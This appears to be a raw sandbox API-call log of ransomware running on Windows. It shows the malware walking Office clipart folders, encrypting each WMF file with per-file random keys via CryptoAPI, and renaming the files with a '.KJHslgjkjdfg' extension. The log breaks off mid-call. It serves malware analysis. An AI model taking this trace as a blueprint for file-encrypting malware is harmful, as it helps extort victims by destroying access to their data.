[0198.032] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf.kjhslgjkjdfg")) returned 1 [0198.033] CloseHandle (hObject=0x130) returned 1 [0198.033] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187895.WMF", cAlternateFileName="")) returned 1 [0198.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.034] GetProcessHeap () returned 0x990000 [0198.034] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.034] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.034] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.034] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.034] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.034] GetProcessHeap () returned 0x990000 [0198.034] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.034] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.034] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.034] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.036] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.037] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.037] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.037] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.037] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.037] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.037] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd90, lpOverlapped=0x0) returned 1 [0198.037] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd90, dwBufLen=0xd90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd90) returned 1 [0198.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.037] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd90, lpOverlapped=0x0) returned 1 [0198.038] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.038] SetEndOfFile (hFile=0x130) returned 1 [0198.040] GetProcessHeap () returned 0x990000 [0198.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.040] GetProcessHeap () returned 0x990000 [0198.040] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187895.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187895.wmf.kjhslgjkjdfg")) returned 1 [0198.041] CloseHandle (hObject=0x130) returned 1 [0198.042] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1388, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187921.WMF", cAlternateFileName="")) returned 1 [0198.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.043] GetProcessHeap () returned 0x990000 [0198.043] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.044] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.044] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.046] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.046] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.046] GetProcessHeap () returned 0x990000 [0198.046] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.046] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.046] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.046] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.046] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.046] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.046] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.047] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.047] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.047] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.047] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1388, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1388, lpOverlapped=0x0) returned 1 [0198.054] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390, dwBufLen=0x1390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1390) returned 1 [0198.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.054] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1390, lpOverlapped=0x0) returned 1 [0198.055] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.055] SetEndOfFile (hFile=0x130) returned 1 [0198.057] GetProcessHeap () returned 0x990000 [0198.057] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.057] GetProcessHeap () returned 0x990000 [0198.057] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.kjhslgjkjdfg")) returned 1 [0198.059] CloseHandle (hObject=0x130) returned 1 [0198.059] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188511.WMF", cAlternateFileName="")) returned 1 [0198.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.061] GetProcessHeap () returned 0x990000 [0198.061] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.061] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.061] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.063] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.063] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.063] GetProcessHeap () returned 0x990000 [0198.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.063] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.063] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.063] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.063] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.064] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.064] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.064] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.064] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.064] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x29dc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x29dc, lpOverlapped=0x0) returned 1 [0198.065] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29e0, dwBufLen=0x29e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x29e0) returned 1 [0198.065] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.065] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x29e0, lpOverlapped=0x0) returned 1 [0198.065] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.066] SetEndOfFile (hFile=0x130) returned 1 [0198.068] GetProcessHeap () returned 0x990000 [0198.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.068] GetProcessHeap () returned 0x990000 [0198.068] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.kjhslgjkjdfg")) returned 1 [0198.069] CloseHandle (hObject=0x130) returned 1 [0198.069] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0198.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.070] GetProcessHeap () returned 0x990000 [0198.070] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.070] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.070] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.073] GetProcessHeap () returned 0x990000 [0198.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.073] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.073] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.074] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.074] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.074] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.074] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3004, lpOverlapped=0x0) returned 1 [0198.075] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3010, dwBufLen=0x3010 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3010) returned 1 [0198.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.075] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3010, lpOverlapped=0x0) returned 1 [0198.075] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.075] SetEndOfFile (hFile=0x130) returned 1 [0198.077] GetProcessHeap () returned 0x990000 [0198.077] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.077] GetProcessHeap () returned 0x990000 [0198.077] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.077] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.kjhslgjkjdfg")) returned 1 [0198.078] CloseHandle (hObject=0x130) returned 1 [0198.078] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0198.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.079] GetProcessHeap () returned 0x990000 [0198.079] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.079] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.079] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.079] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: 